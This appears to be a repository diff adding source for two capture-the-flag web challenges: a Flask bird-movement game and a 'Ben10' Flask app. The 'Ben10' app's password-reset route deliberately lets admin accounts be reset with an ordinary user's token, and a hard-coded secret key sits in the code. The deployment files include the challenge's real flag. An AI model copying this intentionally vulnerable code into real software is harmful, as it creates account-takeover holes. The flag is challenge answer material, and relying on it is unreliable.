from flask_login import current_user, login_required
from threading import Lock
from .models import *
from anticheat import log_action, analyze_movement
lock = Lock()
def init_socket_events(socketio, players):
@socketio.on('connect')
@login_required
def handle_connect():
user_id = int(current_user.get_id())
log_action(user_id, "is connecting")
if user_id in players.keys():
# Player already exists, send their current position
emit('connected', {'user_id': user_id, 'x': players[user_id]['x'], 'y': players[user_id]['y'], 'angle': players[user_id]['angle']})
else:
# TODO: Check if the lobby is full and add the player to the queue
log_action(user_id, f"is spectating")
emit('update_bird_positions', players, broadcast=True)
@socketio.on('move_bird')
@login_required
def handle_bird_movement(data):
user_id = data.get('user_id')
if user_id in players:
del data['user_id']
if players[user_id] != data:
with lock:
players[user_id] = {
'x': data['x'],
'y': data['y'],
'color': 'black',
'angle': data.get('angle', 0)
}
if analyze_movement(user_id, data['x'], data['y'], data.get('angle', 0)):
log_action(user_id, f"was cheating with final position ({data['x']}, {data['y']}) and final angle: {data['angle']}")
# del players[user_id] # Remove the player from the game - we are in beta so idc
emit('update_bird_positions', players, broadcast=True)
@socketio.on('disconnect')
@login_required
def handle_disconnect(data):
user_id = current_user.get_id()
if user_id in players:
del players[user_id]
emit('update_bird_positions', players, broadcast=True)

35
training/srdnlenctf-2025/sparklingsky/src/game/utils.py Normal file
View File

@@ -0,0 +1,35 @@
from .models import db, User
import secrets
import string
from uuid import uuid4 as userID
def init_db():
if User.query.first() is None:
for i in range(10):
username = 'user' + str(userID())
password = ''.join(secrets.choice(string.ascii_uppercase + string.digits) for _ in range(16))
user = User(username=username, password=password, color=secrets.choice(['black', 'blue', 'white', 'green', 'red', 'grey', 'yellow', 'cyan', 'orange', 'pink']), is_playing=True)
db.session.add(user)
db.session.commit()
user = User(username='user1337', password='user1337', color=secrets.choice(['black', 'blue', 'white', 'green', 'red', 'grey', 'yellow', 'cyan', 'orange', 'pink']))
db.session.add(user)
db.session.commit()
def get_players():
current_players = User.query.filter_by(is_playing=True).with_entities(User.id).all()
current_players = [user_id[0] for user_id in current_players]
return current_players
from random import randint, uniform
def update_birds_from_db():
players = {}
current_players = get_players()
for user_id in current_players:
players[user_id] = {
'x': randint(0,500),
'y': randint(0,500),
'color': 'black', # TODO: implement color from db
'angle': uniform(0,6)
}
return players

1
training/srdnlenctf-2025/sparklingsky/src/instance/database.db Normal file
View File

@@ -0,0 +1 @@
REDACTED

8
training/srdnlenctf-2025/sparklingsky/src/log4j.properties Normal file
View File

@@ -0,0 +1,8 @@
log4j.rootLogger=INFO, file
# File Appender
log4j.appender.file=org.apache.log4j.FileAppender
log4j.appender.file.File=gamelogs.log
log4j.appender.file.Append=true
log4j.appender.file.layout=org.apache.log4j.PatternLayout
log4j.appender.file.layout.ConversionPattern=%d{ISO8601} [%t] %-5p %c - %m%n

6
training/srdnlenctf-2025/sparklingsky/src/main.py Normal file
View File

@@ -0,0 +1,6 @@
def main():
print("Hello from src!")
if __name__ == "__main__":
main()

7
training/srdnlenctf-2025/sparklingsky/src/pyproject.toml Normal file
View File

@@ -0,0 +1,7 @@
[project]
name = "src"
version = "0.1.0"
description = "Add your description here"
readme = "README.md"
requires-python = ">=3.13"
dependencies = []

5
training/srdnlenctf-2025/sparklingsky/src/requirements.txt Normal file
View File

@@ -0,0 +1,5 @@
Flask==3.1.0
Flask-Login==0.6.3
Flask-SocketIO==5.5.1
Flask-SQLAlchemy==3.1.1
pyspark==3.3.0

6
training/srdnlenctf-2025/sparklingsky/src/run.py Normal file
View File

@@ -0,0 +1,6 @@
from app import create_app, socketio
app = create_app()
if __name__ == '__main__':
socketio.run(app, host="0.0.0.0", debug=False, port=5000, allow_unsafe_werkzeug=True)

BIN
training/srdnlenctf-2025/sparklingsky/src/static/img/bird.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 16 KiB

BIN
training/srdnlenctf-2025/sparklingsky/src/static/img/bird2.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 10 KiB

BIN
training/srdnlenctf-2025/sparklingsky/src/static/img/bird3.png Normal file
View File

Binary file not shown.
Side by Side

After

Width:  |  Height:  |  Size: 37 KiB

62
training/srdnlenctf-2025/sparklingsky/src/templates/home.html Normal file
View File

@@ -0,0 +1,62 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Home</title>
<style>
body {
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-color: #87CEEB;
background: linear-gradient(270deg, #ff7e5f, #feb47b, #86a8e7, #7f7fd5);
background-size: 800% 800%;
animation: gradientAnimation 10s ease infinite;
font-family: 'Impact', Charcoal, sans-serif;
}
@keyframes gradientAnimation {
0% { background-position: 0% 50%; }
25% { background-position: 50% 50%; }
50% { background-position: 100% 50%; }
75% { background-position: 50% 50%; }
100% { background-position: 0% 50%; }
}
.join-button {
font-size: 3em;
padding: 20px 40px;
background-color: #ff5722;
color: white;
border: none;
border-radius: 10px;
cursor: pointer;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
transition: transform 0.2s;
}
.join-button:hover {
transform: scale(1.1);
}
</style>
</head>
<body>
<button class="join-button">Join Game</button>
<script>
document.querySelector('.join-button').addEventListener('click', function() {
window.location.href = '/play';
});
</script>
</body>
</html>
<link href="https://fonts.googleapis.com/css2?family=Bokor&display=swap" rel="stylesheet">
<style>
body {
font-family: 'Bokor', sans-serif;
}
.join-button {
font-family: 'Bokor', sans-serif;
}
</style>

79
training/srdnlenctf-2025/sparklingsky/src/templates/login.html Normal file
View File

@@ -0,0 +1,79 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<style>
body {
font-family: Arial, sans-serif;
background: linear-gradient(200deg, #0c36e0, #184c8c, #2de5fd); /* Animated gradient */
background-size: 800% 800%;
animation: gradientAnimation 10s ease infinite;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
@keyframes gradientAnimation {
0% { background-position: 0% 50%; }
25% { background-position: 50% 50%; }
50% { background-position: 100% 50%; }
75% { background-position: 50% 50%; }
100% { background-position: 0% 50%; }
}
.login-container {
background-color: rgba(255, 255, 255, 0.9);
padding: 30px;
border-radius: 10px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
width: 350px;
}
h1 {
text-align: center;
margin-bottom: 20px;
color: #333;
}
label {
display: block;
margin-bottom: 8px;
color: #555;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 12px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 5px;
box-sizing: border-box;
}
button {
width: 100%;
padding: 12px;
background-color: #007BFF;
border: none;
border-radius: 5px;
color: white;
font-size: 18px;
cursor: pointer;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="login-container">
<h1>Login</h1>
<form method="post">
<label for="username">Username:</label>
<input type="text" name="username" required>
<label for="password">Password:</label>
<input type="password" name="password" required>
<button type="submit">Login</button>
</form>
</div>
</body>
</html>

194
training/srdnlenctf-2025/sparklingsky/src/templates/play.html Normal file
View File

@@ -0,0 +1,194 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Bird Movement Game</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.5.1/socket.io.js"></script>
<style>
body {
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-color: #87CEEB;
background: linear-gradient(200deg, #1a2a6c, #1fb275, #2de5fd); /* Animated gradient */
background-size: 800% 800%;
animation: gradientAnimation 10s ease infinite;
font-family: 'Impact', Charcoal, sans-serif;
}
@keyframes gradientAnimation {
0% { background-position: 0% 50%; }
25% { background-position: 50% 50%; }
50% { background-position: 100% 50%; }
75% { background-position: 50% 50%; }
100% { background-position: 0% 50%; }
}
#gameCanvas {
border: 2px solid #333;
border-radius: 12px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.3);
background-color: rgba(255, 255, 255, 0.8); /* Light background for better visibility */
}
.bird {
width: 50px;
height: 50px;
position: absolute;
}
.scoreboard {
position: absolute;
top: 10px;
left: 10px;
color: white;
font-size: 20px;
background: rgba(0, 0, 0, 0.5);
padding: 10px;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
}
</style>
</head>
<body>
<canvas id="gameCanvas" width="800" height="600"></canvas>
<style>
#gameCanvas {
border: 16px solid #333;
border-radius: 8px;
box-shadow: 0 20px 40px rgba(0, 0, 0, 0.7);
background: radial-gradient(circle, rgba(255, 255, 255, 0.9), rgba(240, 240, 240, 0.9));
background-size: cover;
transition: transform 0.3s ease, border-color 0.3s ease;
position: relative;
overflow: hidden;
background: linear-gradient(135deg, rgba(255, 255, 255, 0.9), rgba(240, 240, 240, 0.9));
background-size: cover;
transition: transform 0.3s ease, border-color 0.3s ease;
}
</style>
<script>
const socket = io();
const canvas = document.getElementById('gameCanvas');
const ctx = canvas.getContext('2d');
let myBird;
let targetX;
let targetY;
socket.on('connected', (data) => {
myBird = data;
targetX = myBird.x;
targetY = myBird.y;
updateBirdPosition();
});
const speed = 10;
const keyMap = {};
const birdImage = new Image();
birdImage.src = '/static/img/bird.png';
function drawBird(bird) {
const birdWidth = 65;
const birdHeight = 65;
ctx.save();
ctx.translate(bird.x + birdWidth / 2, bird.y + birdHeight / 2);
ctx.rotate(bird.angle);
ctx.drawImage(birdImage, -birdWidth / 2, -birdHeight / 2, birdWidth, birdHeight);
ctx.restore();
}
function drawAllBirds(players) {
ctx.clearRect(0, 0, canvas.width, canvas.height);
for (let userId in players) {
drawBird(players[userId]);
}
}
const angleSpeed = 0.2;
function updateBirdPosition() {
let dx = 0;
let dy = 0;
let targetAngle = myBird.angle;
let hasmoved = false;
// Update target position based on pressed keys
if (keyMap['ArrowUp']) {
dy = -speed;
targetAngle = 0 * Math.PI / 180;
hasmoved = true;
}
if (keyMap['ArrowDown']) {
dy = speed;
targetAngle = 180 * Math.PI / 180;
hasmoved = true;
}
if (keyMap['ArrowLeft']) {
dx = -speed;
targetAngle = 270 * Math.PI / 180;
hasmoved = true;
}
if (keyMap['ArrowRight']) {
dx = speed;
targetAngle = 90 * Math.PI / 180;
hasmoved = true;
}
// Smoothly rotate towards the target angle
let angleDifference = targetAngle - myBird.angle;
if (angleDifference > Math.PI) {
targetAngle -= 2 * Math.PI;
} else if (angleDifference < -Math.PI) {
targetAngle += 2 * Math.PI;
}
angleDifference = targetAngle - myBird.angle;
if (Math.abs(angleDifference) > angleSpeed) {
myBird.angle += Math.sign(angleDifference) * angleSpeed;
} else {
myBird.angle = targetAngle;
}
targetX = Math.min(Math.max(0, targetX + dx), canvas.width - 50);
targetY = Math.min(Math.max(0, targetY + dy), canvas.height - 50);
const easing = 1;
myBird.x += (targetX - myBird.x) * easing;
myBird.y += (targetY - myBird.y) * easing;
if (hasmoved){
socket.emit('move_bird', myBird);
}
requestAnimationFrame(updateBirdPosition);
}
window.addEventListener('keydown', (event) => {
keyMap[event.key] = true;
});
window.addEventListener('keyup', (event) => {
keyMap[event.key] = false;
});
socket.on('update_bird_positions', (players) => {
drawAllBirds(players);
});
</script>
</body>
</html>

79
training/srdnlenctf-2025/sparklingsky/src/templates/signup.html Normal file
View File

@@ -0,0 +1,79 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Login</title>
<style>
body {
font-family: Arial, sans-serif;
background: linear-gradient(200deg, #e68600, #293eda, #2de5fd); /* Animated gradient */
background-size: 800% 800%;
animation: gradientAnimation 10s ease infinite;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
margin: 0;
}
@keyframes gradientAnimation {
0% { background-position: 0% 50%; }
25% { background-position: 50% 50%; }
50% { background-position: 100% 50%; }
75% { background-position: 50% 50%; }
100% { background-position: 0% 50%; }
}
.login-container {
background-color: rgba(255, 255, 255, 0.9);
padding: 30px;
border-radius: 10px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
width: 350px;
}
h1 {
text-align: center;
margin-bottom: 20px;
color: #333;
}
label {
display: block;
margin-bottom: 8px;
color: #555;
}
input[type="text"], input[type="password"] {
width: 100%;
padding: 12px;
margin-bottom: 15px;
border: 1px solid #ccc;
border-radius: 5px;
box-sizing: border-box;
}
button {
width: 100%;
padding: 12px;
background-color: #007BFF;
border: none;
border-radius: 5px;
color: white;
font-size: 18px;
cursor: pointer;
transition: background-color 0.3s ease;
}
button:hover {
background-color: #0056b3;
}
</style>
</head>
<body>
<div class="login-container">
<h1>Signup</h1>
<form method="post">
<label for="username">Username:</label>
<input type="text" name="username" required>
<label for="password">Password:</label>
<input type="password" name="password" required>
<button type="submit">Signup</button>
</form>
</div>
</body>
</html>

141
training/srdnlenctf-2025/sparklingsky/src/templates/spectate.html Normal file
View File

@@ -0,0 +1,141 @@
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Bird Movement Game</title>
<script src="https://cdnjs.cloudflare.com/ajax/libs/socket.io/4.5.1/socket.io.js"></script>
<style>
body {
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-color: #87CEEB;
background: linear-gradient(200deg, #1a2a6c, #1fb275, #2de5fd); /* Animated gradient */
background-size: 800% 800%;
animation: gradientAnimation 10s ease infinite;
font-family: 'Impact', Charcoal, sans-serif;
}
@keyframes gradientAnimation {
0% { background-position: 0% 50%; }
25% { background-position: 50% 50%; }
50% { background-position: 100% 50%; }
75% { background-position: 50% 50%; }
100% { background-position: 0% 50%; }
}
#gameCanvas {
border: 2px solid #333;
border-radius: 12px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.1);
background-image: url('/static/img/background.jpg'); /* Add a background */
background-size: cover;
background-position: center;
margin: 0 100px;
}
.bird {
width: 50px;
height: 50px;
position: absolute;
}
.scoreboard {
position: absolute;
top: 10px;
left: 10px;
color: white;
font-size: 20px;
background: rgba(0, 0, 0, 0.5);
padding: 10px;
border-radius: 8px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
}
.play {
margin-left: 0;
position: relative;
height: 600px;
width: 80px;
border-radius: 8px;
border: none;
background: #119cdd;
color: white;
font-size: 24px;
font-weight: bold;
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
text-decoration: none;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.2);
}
.play a {
color: white;
text-decoration: none;
}
</style>
</head>
<body>
{% if position %}
<div class="scoreboard">You are #{{ position }} in the queue.</div>
{% endif %}
<canvas id="gameCanvas" width="800" height="600"></canvas>
<style>
#gameCanvas {
border: 16px solid #333;
border-radius: 8px;
box-shadow: 0 20px 40px rgba(0, 0, 0, 0.7);
background: radial-gradient(circle, rgba(255, 255, 255, 0.9), rgba(240, 240, 240, 0.9));
background-size: cover;
transition: transform 0.3s ease, border-color 0.3s ease;
position: relative;
overflow: hidden;
background: linear-gradient(135deg, rgba(255, 255, 255, 0.9), rgba(240, 240, 240, 0.9));
background-size: cover;
transition: transform 0.3s ease, border-color 0.3s ease;
}
</style>
<button class="play"><a href="/play">PLAY</a></button>
<script>
const socket = io();
const canvas = document.getElementById('gameCanvas');
const ctx = canvas.getContext('2d');
const birdImage = new Image();
birdImage.src = '/static/img/bird.png';
function drawBird(bird) {
const birdWidth = 65;
const birdHeight = 65;
ctx.save();
ctx.translate(bird.x + birdWidth / 2, bird.y + birdHeight / 2);
ctx.rotate(bird.angle);
ctx.drawImage(birdImage, -birdWidth / 2, -birdHeight / 2, birdWidth, birdHeight);
ctx.restore();
}
function drawAllBirds(birds) {
ctx.clearRect(0, 0, canvas.width, canvas.height);
for (let userId in birds) {
drawBird(birds[userId]);
}
}
socket.on('update_bird_positions', (birds) => {
drawAllBirds(birds)
});
</script>
</body>
</html>

14
training/srdnlenctf-2025/web_Ben10/Dockerfile Normal file
View File

@@ -0,0 +1,14 @@
FROM python:3.11-slim
WORKDIR /app
COPY . /app
RUN pip install --no-cache-dir -r requirements.txt
EXPOSE 5000
ENV FLASK_ENV=production
ENV FLAG="srdnlen{test_flag}"
CMD ["flask", "run", "--host=0.0.0.0"]

242
training/srdnlenctf-2025/web_Ben10/app.py Normal file
View File

@@ -0,0 +1,242 @@
import secrets
import sqlite3
import os
from flask import Flask, render_template, request, redirect, url_for, flash, session
app = Flask(__name__)
app.secret_key = 'your_secret_key'
DATABASE = 'database.db'
FLAG = os.getenv('FLAG', 'srdnlen{TESTFLAG}')
def init_db():
"""Initialize the SQLite database."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT,
admin_username TEXT,
reset_token TEXT
)''')
conn.commit()
conn.close()
def get_user_by_username(username):
"""Helper function to fetch user by username."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
user = cursor.fetchone()
conn.close()
return user
def get_reset_token_for_user(username):
"""Helper function to fetch reset token for a user."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("SELECT reset_token FROM users WHERE username = ?", (username,))
token = cursor.fetchone()
conn.close()
return token
def update_reset_token(username, reset_token):
"""Helper function to update reset token."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("UPDATE users SET reset_token = ? WHERE username = ?", (reset_token, username))
conn.commit()
conn.close()
def update_password(username, new_password):
"""Helper function to update the password."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("UPDATE users SET password = ?, reset_token = NULL WHERE username = ?", (new_password, username))
conn.commit()
conn.close()
@app.route('/')
def index():
"""Redirect to /home if user is logged in, otherwise to /login."""
if 'username' in session:
return redirect(url_for('home'))
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
"""Handle user registration."""
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username.startswith('admin') or '^' in username:
flash("I don't like admins", "error")
return render_template('register.html')
if not username or not password:
flash("Both fields are required.", "error")
return render_template('register.html')
admin_username = f"admin^{username}^{secrets.token_hex(5)}"
admin_password = secrets.token_hex(8)
try:
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
(username, password, admin_username))
cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
(admin_username, admin_password, None))
conn.commit()
except sqlite3.IntegrityError:
flash("Username already exists!", "error")
return render_template('register.html')
finally:
conn.close()
flash("Registration successful!", "success")
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
"""Handle user login."""
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = get_user_by_username(username)
if user and user[2] == password:
session['username'] = username
return redirect(url_for('home'))
else:
flash("Invalid username or password.", "error")
return render_template('login.html')
@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
"""Handle reset password request."""
if request.method == 'POST':
username = request.form['username']
if username.startswith('admin'):
flash("Admin users cannot request a reset token.", "error")
return render_template('reset_password.html')
if not get_user_by_username(username):
flash("Username not found.", "error")
return render_template('reset_password.html')
reset_token = secrets.token_urlsafe(16)
update_reset_token(username, reset_token)
flash("Reset token generated!", "success")
return render_template('reset_password.html', reset_token=reset_token)
return render_template('reset_password.html')
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
"""Handle password reset."""
if request.method == 'POST':
username = request.form['username']
reset_token = request.form['reset_token']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']
if new_password != confirm_password:
flash("Passwords do not match.", "error")
return render_template('forgot_password.html', reset_token=reset_token)
user = get_user_by_username(username)
if not user:
flash("User not found.", "error")
return render_template('forgot_password.html', reset_token=reset_token)
if not username.startswith('admin'):
token = get_reset_token_for_user(username)
if token and token[0] == reset_token:
update_password(username, new_password)
flash(f"Password reset successfully.", "success")
return redirect(url_for('login'))
else:
flash("Invalid reset token for user.", "error")
else:
username = username.split('^')[1]
token = get_reset_token_for_user(username)
if token and token[0] == reset_token:
update_password(request.form['username'], new_password)
flash(f"Password reset successfully.", "success")
return redirect(url_for('login'))
else:
flash("Invalid reset token for user.", "error")
return render_template('forgot_password.html', reset_token=request.args.get('token'))
@app.route('/home')
def home():
"""Display home page with images."""
if 'username' not in session:
return redirect(url_for('login'))
username = session['username']
user = get_user_by_username(username)
admin_username = user[3] if user else None
image_names = ['ben1', 'ben2', 'ben3', 'ben4', 'ben5', 'ben6', 'ben7', 'ben8', 'ben9', 'ben10']
return render_template('home.html', username=username, admin_username=admin_username, image_names=image_names)
@app.route('/image/<image_id>')
def image(image_id):
"""Display the image if user is admin or redirect with missing permissions."""
if 'username' not in session:
return redirect(url_for('login'))
username = session['username']
if image_id == 'ben10' and not username.startswith('admin'):
return redirect(url_for('missing_permissions'))
flag = None
if username.startswith('admin') and image_id == 'ben10':
flag = FLAG
return render_template('image_viewer.html', image_name=image_id, flag=flag)
@app.route('/missing_permissions')
def missing_permissions():
"""Show a message when the user tries to access a restricted image."""
return render_template('missing_permissions.html')
@app.route('/logout')
def logout():
"""Log the user out and clear the session."""
session.clear()
flash("You have been logged out successfully.", "success")
return redirect(url_for('login'))
if __name__ == '__main__':
if not os.path.exists(DATABASE):
init_db()
app.run(debug=True)

BIN
training/srdnlenctf-2025/web_Ben10/database.db Normal file
View File

Binary file not shown.

1
training/srdnlenctf-2025/web_Ben10/requirements.txt Normal file
View File

@@ -0,0 +1 @@
Flask==3.1.0

14
training/srdnlenctf-2025/web_Ben10/src/Dockerfile Normal file
View File

@@ -0,0 +1,14 @@
FROM python:3.11-slim
WORKDIR /app
COPY . /app
RUN pip install --no-cache-dir -r requirements.txt
EXPOSE 5000
ENV FLASK_ENV=production
ENV FLAG="srdnlen{b3n_l0v3s_br0k3n_4cc355_c0ntr0l_vulns}"
CMD ["flask", "run", "--host=0.0.0.0"]

242
training/srdnlenctf-2025/web_Ben10/src/app.py Normal file
View File

@@ -0,0 +1,242 @@
import secrets
import sqlite3
import os
from flask import Flask, render_template, request, redirect, url_for, flash, session
app = Flask(__name__)
app.secret_key = 'your_secret_key'
DATABASE = 'database.db'
FLAG = os.getenv('FLAG', 'srdnlen{TESTFLAG}')
def init_db():
"""Initialize the SQLite database."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute('''CREATE TABLE IF NOT EXISTS users (
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT UNIQUE,
password TEXT,
admin_username TEXT,
reset_token TEXT
)''')
conn.commit()
conn.close()
def get_user_by_username(username):
"""Helper function to fetch user by username."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE username = ?", (username,))
user = cursor.fetchone()
conn.close()
return user
def get_reset_token_for_user(username):
"""Helper function to fetch reset token for a user."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("SELECT reset_token FROM users WHERE username = ?", (username,))
token = cursor.fetchone()
conn.close()
return token
def update_reset_token(username, reset_token):
"""Helper function to update reset token."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("UPDATE users SET reset_token = ? WHERE username = ?", (reset_token, username))
conn.commit()
conn.close()
def update_password(username, new_password):
"""Helper function to update the password."""
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("UPDATE users SET password = ?, reset_token = NULL WHERE username = ?", (new_password, username))
conn.commit()
conn.close()
@app.route('/')
def index():
"""Redirect to /home if user is logged in, otherwise to /login."""
if 'username' in session:
return redirect(url_for('home'))
return redirect(url_for('login'))
@app.route('/register', methods=['GET', 'POST'])
def register():
"""Handle user registration."""
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username.startswith('admin') or '^' in username:
flash("I don't like admins", "error")
return render_template('register.html')
if not username or not password:
flash("Both fields are required.", "error")
return render_template('register.html')
admin_username = f"admin^{username}^{secrets.token_hex(5)}"
admin_password = secrets.token_hex(8)
try:
conn = sqlite3.connect(DATABASE)
cursor = conn.cursor()
cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
(username, password, admin_username))
cursor.execute("INSERT INTO users (username, password, admin_username) VALUES (?, ?, ?)",
(admin_username, admin_password, None))
conn.commit()
except sqlite3.IntegrityError:
flash("Username already exists!", "error")
return render_template('register.html')
finally:
conn.close()
flash("Registration successful!", "success")
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
"""Handle user login."""
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
user = get_user_by_username(username)
if user and user[2] == password:
session['username'] = username
return redirect(url_for('home'))
else:
flash("Invalid username or password.", "error")
return render_template('login.html')
@app.route('/reset_password', methods=['GET', 'POST'])
def reset_password():
"""Handle reset password request."""
if request.method == 'POST':
username = request.form['username']
if username.startswith('admin'):
flash("Admin users cannot request a reset token.", "error")
return render_template('reset_password.html')
if not get_user_by_username(username):
flash("Username not found.", "error")
return render_template('reset_password.html')
reset_token = secrets.token_urlsafe(16)
update_reset_token(username, reset_token)
flash("Reset token generated!", "success")
return render_template('reset_password.html', reset_token=reset_token)
return render_template('reset_password.html')
@app.route('/forgot_password', methods=['GET', 'POST'])
def forgot_password():
"""Handle password reset."""
if request.method == 'POST':
username = request.form['username']
reset_token = request.form['reset_token']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']
if new_password != confirm_password:
flash("Passwords do not match.", "error")
return render_template('forgot_password.html', reset_token=reset_token)
user = get_user_by_username(username)
if not user:
flash("User not found.", "error")
return render_template('forgot_password.html', reset_token=reset_token)
if not username.startswith('admin'):
token = get_reset_token_for_user(username)
if token and token[0] == reset_token:
update_password(username, new_password)
flash(f"Password reset successfully.", "success")
return redirect(url_for('login'))
else:
flash("Invalid reset token for user.", "error")
else:
username = username.split('^')[1]
token = get_reset_token_for_user(username)
if token and token[0] == reset_token:
update_password(request.form['username'], new_password)
flash(f"Password reset successfully.", "success")
return redirect(url_for('login'))
else:
flash("Invalid reset token for user.", "error")
return render_template('forgot_password.html', reset_token=request.args.get('token'))
@app.route('/home')
def home():
"""Display home page with images."""
if 'username' not in session:
return redirect(url_for('login'))
username = session['username']
user = get_user_by_username(username)
admin_username = user[3] if user else None
image_names = ['ben1', 'ben2', 'ben3', 'ben4', 'ben5', 'ben6', 'ben7', 'ben8', 'ben9', 'ben10']
return render_template('home.html', username=username, admin_username=admin_username, image_names=image_names)
@app.route('/image/<image_id>')
def image(image_id):
"""Display the image if user is admin or redirect with missing permissions."""
if 'username' not in session:
return redirect(url_for('login'))
username = session['username']
if image_id == 'ben10' and not username.startswith('admin'):
return redirect(url_for('missing_permissions'))
flag = None
if username.startswith('admin') and image_id == 'ben10':
flag = FLAG
return render_template('image_viewer.html', image_name=image_id, flag=flag)
@app.route('/missing_permissions')
def missing_permissions():
"""Show a message when the user tries to access a restricted image."""
return render_template('missing_permissions.html')
@app.route('/logout')
def logout():
"""Log the user out and clear the session."""
session.clear()
flash("You have been logged out successfully.", "success")
return redirect(url_for('login'))
if __name__ == '__main__':
if not os.path.exists(DATABASE):
init_db()
app.run(debug=True)

BIN
training/srdnlenctf-2025/web_Ben10/src/database.db Normal file
View File

Binary file not shown.

9
training/srdnlenctf-2025/web_Ben10/src/docker-compose.yml Normal file
View File

@@ -0,0 +1,9 @@
services:
ben10:
build: .
restart: always
ports:
- "0.0.0.0:80:5000"
environment:
- FLASK_ENV=production
- FLAG=srdnlen{b3n_l0v3s_br0k3n_4cc355_c0ntr0l_vulns}

1
training/srdnlenctf-2025/web_Ben10/src/requirements.txt Normal file
View File

@@ -0,0 +1 @@
Flask==3.1.0

225
training/srdnlenctf-2025/web_Ben10/src/static/css/styles.css Normal file
View File

@@ -0,0 +1,225 @@
/*
You’re better off not checking here to save time, this file sucks as it is, and I don’t even get how the hell it works
Best Regards,
the author (not a front-end engineer)
*/
/* Global styles */
body {
font-family: 'Arial', sans-serif;
background-color: rgba(0, 0, 0, 0.5); /* Transparent background */
color: white;
margin: 0;
padding: 0;
height: 100vh;
background-image: url('/static/images/background.png'); /* Ensure the image path is correct */
background-size: cover;
background-position: center;
background-repeat: no-repeat;
}
/* Header and text styles */
h1, h2 {
text-align: center;
color: #071407;
text-shadow: 2px 2px 10px rgba(0, 255, 0, 0.8);
font-size: 50px; /* Larger font size */
margin-bottom: 20px;
font-weight: bold;
}
.error {
text-align: center;
color: #f30a1e;
text-shadow: 2px 2px 10px rgba(0, 255, 0, 0.8);
font-size: 30px; /* Larger font size */
margin-bottom: 20px;
font-weight: bold;
}
/* Button styles */
button, input[type="submit"], .reset-token-info button {
background-color: #00FF00;
color: #1f1f1f;
font-size: 18px;
padding: 12px 24px;
border: none;
border-radius: 12px;
cursor: pointer;
transition: background-color 0.3s;
margin: 10px auto;
display: block;
}
button:hover, input[type="submit"]:hover, .reset-token-info button:hover {
background-color: #00cc00;
}
/* Link styles */
a {
color: #140601; /* Contrasting color for links */
text-decoration: none;
font-weight: bold;
font-size: 35px;
display: block;
text-align: center;
margin-top: 20px;
transition: color 0.3s;
}
a:hover {
color: #2ca009; /* Slightly different shade for hover effect */
}
/* Form styles */
form {
max-width: 450px;
margin: 20px auto;
padding: 30px;
background-color: rgba(0, 0, 0, 0.6); /* Semi-transparent background */
border-radius: 20px;
box-shadow: 0 4px 8px rgba(0, 0, 0, 0.8);
}
